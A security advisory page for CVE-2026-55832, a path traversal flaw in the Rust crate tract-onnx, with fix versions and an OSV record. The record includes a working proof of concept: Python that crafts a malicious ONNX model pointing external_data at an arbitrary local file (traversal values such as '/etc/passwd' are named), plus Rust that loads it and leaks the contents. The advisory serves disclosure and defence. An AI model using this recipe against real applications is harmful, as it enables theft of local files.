CVE-2026-55832: tract Path Traversal Vulnerability
MODERATECVE-2026-55832 is a MODERATE (CVSS 6.1) path traversal vulnerability (CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')) affecting tract libraries in the crates.io ecosystem. The issue involves arbitrary file read via unsanitized onnx external_data `location` (path traversal) on model load in tract-onnx. Remediation is available by upgrading affected packages to version 0.21.17, 0.22.3, 0.23.2.
CVE-2026-55832 at a Glance
Security Impact
CVSS: 6.1
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:L).
How to Fix CVE-2026-55832
To remediate this vulnerability, upgrade all affected tract dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade tract-onnx to 0.21.17
Upgrade tract-onnx to 0.22.3
Upgrade tract-onnx to 0.23.2
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for tract-onnx
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-55832, inspect your project dependencies for tract:
inspect dependencies for tract-onnx
Analyze the terminal output to locate any version of tract in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.21.17), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), where the product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. In tract, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-55832 Affected tract Versions
3 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
tract-onnx
|
crates.io |
< 0.21.17
|
0.21.17
|
|
tract-onnx
|
crates.io |
≥ 0.22.0
< 0.22.3
|
0.22.3
|
|
tract-onnx
|
crates.io |
≥ 0.23.0
< 0.23.2
|
0.23.2
|
References
Frequently Asked Questions
What is CVE-2026-55832?
Which tract versions are affected?
What version fixes CVE-2026-55832?
Is tract-onnx affected?
What is the CVSS score of CVE-2026-55832?
What CWE is associated with CVE-2026-55832?
How can I check crates.io dependencies for CVE-2026-55832?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-h668-6x6g-f8r5",
"modified" : "2026-06-19T14:45:43Z",
"published" : "2026-06-19T14:45:43Z",
"aliases" : [ "CVE-2026-55832" ],
"summary" : "tract: Arbitrary file read via unsanitized ONNX external_data `location` (path traversal) on model load in tract-onnx",
"details" : "### Summary\n\n`tract` (the `tract-onnx` crate) resolves an ONNX tensor's external-data `location` by joining it onto the model directory **without any sanitization**. Because `location` comes from the (untrusted) `.onnx` file, a malicious model can make `tract` open and read an **arbitrary local file** at load time, with the file's contents flowing into the model's tensors / inference output (read-only file disclosure). This is the ONNX external-data path-traversal class that the reference `onnx` library hardened over several CVEs; `tract` resolves `location` itself and was never hardened.\n\n### Details\n\nIn `onnx/src/tensor.rs`, `get_external_resources()` builds the path with no checks:\n\n```rust\nlet location = /* tensor.external_data \"location\" value — attacker-controlled */;\nlet p = PathBuf::from(path).join(location); // no is_absolute / \"..\" / canonicalize / containment check\nprovider.read_bytes_from_path(&mut tensor_data, &p, offset, length)?; // Mmap::map(File::open(p)) by default\n```\n\n- `Path::join` with an **absolute** `location` (e.g. `/etc/passwd`) discards the base directory → `p = /etc/passwd`.\n- A **relative** `../../../../etc/passwd` value is not normalized → directory traversal.\n- The default `MmapDataResolver` (`onnx/src/data_resolver.rs`) then `mmap`s the file and copies `mmap[offset..offset+length]` into the tensor. `offset`/`length` are also taken from the file; an out-of-range slice **panics** (DoS).\n\nNo `is_absolute`, `..`, `canonicalize`, or containment check exists anywhere on this path (`tensor.rs`, `model.rs`, `data_resolver.rs`).\n\nReachable from the standard public API: `model_for_path(p)` (`onnx/src/model.rs`) sets `model_dir = p.parent()` and calls `load_tensor(proto, model_dir)` → `get_external_resources(.., model_dir)`.\n\n### PoC\n\nTested on `tract-onnx 0.21.16` (crates.io), Rust 1.96.\n\n1. A canary file the model must not be able to read:\n `/tmp/tract_canary_secret.txt` → `TRACT-EXTDATA-TRAVERSAL-CANARY-7f3a2b`\n2. Build a small `evil.onnx` with a `UINT8[37]` initializer whose `external_data` is `location=/tmp/tract_canary_secret.txt` (absolute), `offset=0`, `length=37`, fed through `Identity` to the output (raw protobuf serialization):\n\n```python\nimport onnx\nfrom onnx import helper, TensorProto, StringStringEntryProto\nN = 37; LOC = \"/tmp/tract_canary_secret.txt\" # absolute -> Path::join discards the base dir\nw = TensorProto(); w.name = \"W\"; w.data_type = TensorProto.UINT8\nw.dims.extend([N]); w.data_location = TensorProto.EXTERNAL\nfor k, v in [(\"location\", LOC), (\"offset\", \"0\"), (\"length\", str(N))]:\n e = StringStringEntryProto(); e.key = k; e.value = v; w.external_data.append(e)\nnode = helper.make_node(\"Identity\", [\"W\"], [\"Y\"])\nout = helper.make_tensor_value_info(\"Y\", TensorProto.UINT8, [N])\ng = helper.make_graph([node], \"g\", [], [out], initializer=[w])\nm = helper.make_model(g, opset_imports=[helper.make_opsetid(\"\", 13)])\nopen(\"evil.onnx\", \"wb\").write(m.SerializeToString())\n```\n\n3. Victim loads the untrusted model with the standard API:\n\n```rust\nlet model = tract_onnx::onnx().model_for_path(\"evil.onnx\")?;\nlet out = model.into_optimized()?.into_runnable()?.run(tvec!())?;\nlet bytes: Vec<u8> = out[0].to_array_view::<u8>()?.iter().cloned().collect();\nprintln!(\"{:?}\", String::from_utf8_lossy(&bytes));\n```\n\nOutput:\n\n```\n\"TRACT-EXTDATA-TRAVERSAL-CANARY-7f3a2b\"\n```\n\ni.e. the contents of the arbitrary local file were read by `tract` and surfaced in the inference output.\n\n### Impact\n\nRead-only arbitrary local file disclosure when an application uses `tract` to load an untrusted or shared ONNX model (model hubs, multi-file repos, user uploads). The file content is recoverable from the model's tensors / inference output. Secondary: denial of service (panic) via out-of-bounds `offset`/`length`. No write or code execution.\n\n### Suggested fix\n\nReject absolute `location` and any `..` component, then canonicalize and verify the resolved path stays within the model directory (mirroring `onnx` 1.22.0's `resolve_external_data_location`); reject symlinks; validate `offset`/`length` against the file size before slicing.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:L"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "crates.io",
"name" : "tract-onnx"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "0.21.17"
} ]
} ]
}, {
"package" : {
"ecosystem" : "crates.io",
"name" : "tract-onnx"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0.22.0"
}, {
"fixed" : "0.22.3"
} ]
} ]
}, {
"package" : {
"ecosystem" : "crates.io",
"name" : "tract-onnx"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0.23.0"
}, {
"fixed" : "0.23.2"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/sonos/tract/security/advisories/GHSA-h668-6x6g-f8r5"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/sonos/tract"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-22" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-06-19T14:45:43Z",
"nvd_published_at" : null
}
}